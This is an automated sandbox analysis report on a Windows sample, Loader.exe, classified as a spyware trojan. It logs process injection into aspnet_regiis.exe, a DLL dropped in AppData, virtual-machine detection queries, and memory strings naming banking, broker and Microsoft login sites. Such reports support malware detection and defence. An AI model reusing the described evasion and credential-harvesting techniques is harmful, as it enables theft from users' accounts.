Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6F18B	3_2_72C6F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C591AE	3_2_72C591AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C539B9	3_2_72C539B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5C09E	3_2_72C5C09E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C36160	3_2_72C36160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4E960	3_2_72C4E960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C48169	3_2_72C48169
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C35900	3_2_72C35900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C56910	3_2_72C56910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C546D0	3_2_72C546D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C706F0	3_2_72C706F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C32EB0	3_2_72C32EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4AEB0	3_2_72C4AEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C68650	3_2_72C68650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5EE63	3_2_72C5EE63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C52E6D	3_2_72C52E6D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C50E6C	3_2_72C50E6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5FE74	3_2_72C5FE74
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6FE00	3_2_72C6FE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3F60D	3_2_72C3F60D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4961B	3_2_72C4961B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4E630	3_2_72C4E630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C39780	3_2_72C39780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C57740	3_2_72C57740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C42750	3_2_72C42750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4DF50	3_2_72C4DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C46F52	3_2_72C46F52
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C55F1B	3_2_72C55F1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C59739	3_2_72C59739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C504C6	3_2_72C504C6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C524E0	3_2_72C524E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C3D4F3	3_2_72C3D4F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C61CF0	3_2_72C61CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C44CA0	3_2_72C44CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6A440	3_2_72C6A440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C4747D	3_2_72C4747D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C63C10	3_2_72C63C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C35DC0	3_2_72C35DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6A5D4	3_2_72C6A5D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C365F0	3_2_72C365F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6CDF0	3_2_72C6CDF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C67DA9	3_2_72C67DA9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5CD4C	3_2_72C5CD4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5CD5E	3_2_72C5CD5E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C54560	3_2_72C54560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C6FD70	3_2_72C6FD70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C56D2E	3_2_72C56D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C41D2B	3_2_72C41D2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C69D30	3_2_72C69D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_72C5C53C	3_2_72C5C53C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 72C37F60 appears 40 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 72C44C90 appears 77 times

Source: Loader.exe, 00000000.00000000.2011203087.0000000000BE4000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMadisonBenjaminGrace.exerMbT vs Loader.exe
Source: Loader.exe, 00000000.00000002.2016433799.000000000105E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Loader.exe
Source: Loader.exe	Binary or memory string: OriginalFilenameMadisonBenjaminGrace.exerMbT vs Loader.exe

Source: Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/2@11/2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_72C69280 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_72C69280

Source: C:\Users\user\Desktop\Loader.exe

File created: C:\Users\user\AppData\Roaming\gdi32.dll

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2272:120:WilError_03

Source: Loader.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Loader.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aspnet_regiis.exe, 00000003.00000003.2104540811.0000000005C24000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104646012.0000000005C08000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Loader.exe	Virustotal: Detection: 48%
Source: Loader.exe	ReversingLabs: Detection: 70%

Source: unknown	Process created: C:\Users\user\Desktop\Loader.exe "C:\Users\user\Desktop\Loader.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\Desktop\Loader.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Loader.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E38E3 push 88000D00h; retf	3_3_035E38F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E391B push 88000E00h; retf	3_3_035E3920
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_3_035E7349 push 00000000h; retf	3_3_035E734D

Source: Loader.exe

Static PE information: section name: .text entropy: 7.116320721076053

Source: C:\Users\user\Desktop\Loader.exe

File created: C:\Users\user\AppData\Roaming\gdi32.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Memory allocated: 2D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory allocated: 2FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe TID: 5456	Thread sleep time: -922337203685477s >= -30000s			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe TID: 6696	Thread sleep time: -150000s >= -30000s			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_6CE53460 FindFirstFileExW,

0_2_6CE53460

Source: C:\Users\user\Desktop\Loader.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128539472.0000000005CA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243161469.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2177101294.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243002308.000000000351C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2197972642.0000000003577000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: aspnet_regiis.exe, 00000003.00000003.2128699416.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
